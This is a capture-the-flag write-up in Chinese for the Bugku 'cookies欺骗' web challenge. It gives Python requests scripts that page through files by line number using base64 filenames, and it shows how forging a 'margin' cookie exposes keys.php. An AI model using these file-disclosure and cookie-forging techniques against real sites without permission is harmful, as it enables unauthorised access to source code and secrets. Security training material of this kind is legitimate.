Bugku----cookies欺骗writeup

通过解码参数和构造特定请求,成功获取隐藏文件内容,揭示了网站安全漏洞利用过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

解题链接:http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

一、题目打开是一串毫无意义的字符串,抓包也发现不了任何有价值的信息

 

二、尝试把参数filename的值解码得到真实文件名为keys.txt。

三、根据line和filename两个参数猜测网页显示的可能是filename的第line行,于是尝试将文件名改为index.php(记得将index.php转一下base64)

果然显示了源码的第一行:

 

一行一行的看效率太低,且可能有空行导致代码获得不全,我们写脚本获取前一百行,脚本代码如下

import requests
flag=100
for i in range(flag):
    url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
    s=requests.get(url)
    print(s.text)

成功获取到index.php的源码内容

<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

 

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

 

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

这段代码的核心逻辑是如果cookie里存在margin字段且字段值为margin,就把keys.php加到数组中,如果数组中存在用户请求的文件名,就显示出该文件的第line行

到这里问题就很清晰了,我们只需要构造一个含有 "margin":"margin"的cookie并和请求的keys.php文件名一同发送给服务器就可以得到keys.php的源码。

四、带有cookies的请求获得keys.php的前20行:

import requests
flag=20
cookies={"margin":"margin"}
for i in range(flag):
    url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=a2V5cy5waHA="
    s=requests.get(url,cookies=cookies)
    print(s.text)

源码即是flag,100pt到手:

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值